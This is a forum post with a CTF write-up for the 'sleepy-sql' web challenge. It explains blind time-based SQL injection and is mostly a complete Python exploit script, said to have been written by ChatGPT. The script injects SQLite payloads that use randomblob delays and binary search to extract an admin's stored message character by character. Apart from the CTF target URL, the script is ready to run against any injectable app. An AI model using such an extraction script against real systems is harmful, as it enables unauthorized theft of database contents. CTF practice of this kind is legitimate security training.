[/MNT/AIN LIB] [WEB] sleepy-sql

sleepy-sql​

SRC: https://library.m0unt41n.ch/challenges/sleepy-sql

This challenge is pretty obvious that we have to perform sql inejction, the hard part is exfiltration tho, there is not reflection allowing us too read any data (like the flag). So we have to work with what we got, time.

We can bruteforce each char of the flag and manipulate the request time with a certain data blob size...

Here the xploit script chat gpt created for me lulz:

1752615260773-gif.49


Python:
#!/usr/bin/env python3
import requests, time, statistics, sys

TARGET = "https://x.library.m0unt41n.ch:1337/"
MAX_FLAG_LEN = 40
BLOB_SIZE     = 20_000_000
TIMEOUT       = 10
RETRIES       = 3

session = requests.Session()
session.headers["User-Agent"] = "flag-fisher/1.0"

def calibrate_threshold():
    print("[*] calibrating latency…")
    sample = []
    for i in range(5):
        t0 = time.time()
        session.post(TARGET, data={"name": "probe", "message": "test"})
        sample.append(time.time() - t0)
    base = statistics.median(sample)
    thresh = base + 1.5
    print(f"    baseline {base:.2f}s → threshold {thresh:.2f}s\n")
    return thresh

def is_cp_gt(position: int, midpoint: int, threshold: float) -> bool:
    """True if code‑point at pos > midpoint (measured via delay)"""
    payload = (
        "'||("
        f"SELECT CASE WHEN unicode(substr((SELECT message FROM messages "
        f"WHERE name='admin'),{position},1))>{midpoint} "
        f"THEN randomblob({BLOB_SIZE}) END"
        ")||'"
    )
    for attempt in range(1, RETRIES + 1):
        try:
            t0 = time.time()
            session.post(TARGET, data={"name": "bot", "message": payload},
                         timeout=TIMEOUT, verify=True)
            delay = time.time() - t0
            print(f"    pos {position:<2} > {midpoint:3}?  {delay:.2f}s  "
                  f"→  {'YES' if delay > threshold else 'no'}")
            return delay > threshold
        except requests.exceptions.ReadTimeout:
            print(f"    timeout {attempt}/{RETRIES}")
    print("    giving up on this comparison, assuming False")
    return False

def leak_flag():
    threshold = calibrate_threshold()
    flag = ""
    for pos in range(1, MAX_FLAG_LEN + 1):
        lo, hi = 0, 127
        while lo < hi:
            mid = (lo + hi) // 2
            if is_cp_gt(pos, mid, threshold):
                lo = mid + 1
            else:
                hi = mid
        if lo == 0:
            break
        flag += chr(lo)
        print(f"[+] so far: {flag!r}\n")
        sys.stdout.flush()
    return flag

if __name__ == "__main__":
    final_flag = leak_flag()
    print(f"\n[:)] FLAG = {final_flag}")
 

Attachments

  • 1752615260773.gif
    536 KB · Views: 2
Back
Top